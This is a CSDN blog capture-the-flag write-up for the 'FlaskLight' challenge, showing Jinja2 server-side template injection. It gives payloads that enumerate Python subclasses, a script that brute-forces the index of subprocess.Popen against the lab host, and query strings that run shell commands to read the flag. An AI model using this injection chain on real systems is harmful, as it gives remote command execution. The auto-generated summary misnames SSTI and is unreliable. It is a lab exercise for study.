NO.3-14 [CSCCTF 2019 Qual]FlaskLight

最新推荐文章于 2021-09-02 10:12:51 发布

nigo134

最新推荐文章于 2021-09-02 10:12:51 发布

阅读量142

点赞数

分类专栏： BUUCTF 模板注入

原文链接：https://blog.csdn.net/mochu7777777/article/details/107589811

版权

BUUCTF 同时被 2 个专栏收录

60 篇文章 0 订阅

订阅专栏

模板注入

7 篇文章 0 订阅

订阅专栏

本文探讨了一种名为SSTI（Source-to-Sink Injection）的安全漏洞利用技术，通过脚本搜索并利用不同类的漏洞，展示了如何通过API调用执行命令，如'ls', 'cat', 'subprocess.Popen'。作者还揭示了如何通过HTTP请求构造针对特定类的URL，以寻找和利用潜在的系统控制漏洞。

摘要由CSDN通过智能技术生成

在这里插入图片描述

?search={{7*7}}
#通过回显判断SSTI

在这里插入图片描述

?search={{''.__class__.__mro__[2].__subclasses__()}}
#爆出所有类

编写脚本查找可利用的类
利用subprocess.Popen执行命令

import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
    try:
        url = "http://17ad255a-204e-4624-b878-e3e0d62e526a.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
        r = requests.get(url)
        res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
        time.sleep(0.1)
        # print(res)
        # print(r.text)
        res = html.unescape(res[0])
        print(str(i) + " | " + res)
        if "subprocess.Popen" in res:
            index = i
            break
    except:
        continue
print("indexo of subprocess.Popen:" + str(index))

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

在这里插入图片描述

nigo134

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
NO.3-14 [CSCCTF 2019 Qual]FlaskLight

?search={{7*7}}#通过回显判断SSTI?search={{''.__class__.__mro__[2].__subclasses__()}}#爆出所有类编写脚本查找可利用的类利用subprocess.Popen执行命令import requestsimport reimport htmlimport timeindex = 0for i in range(170, 1000): try: url = "http://...
复制链接

扫一扫

专栏目录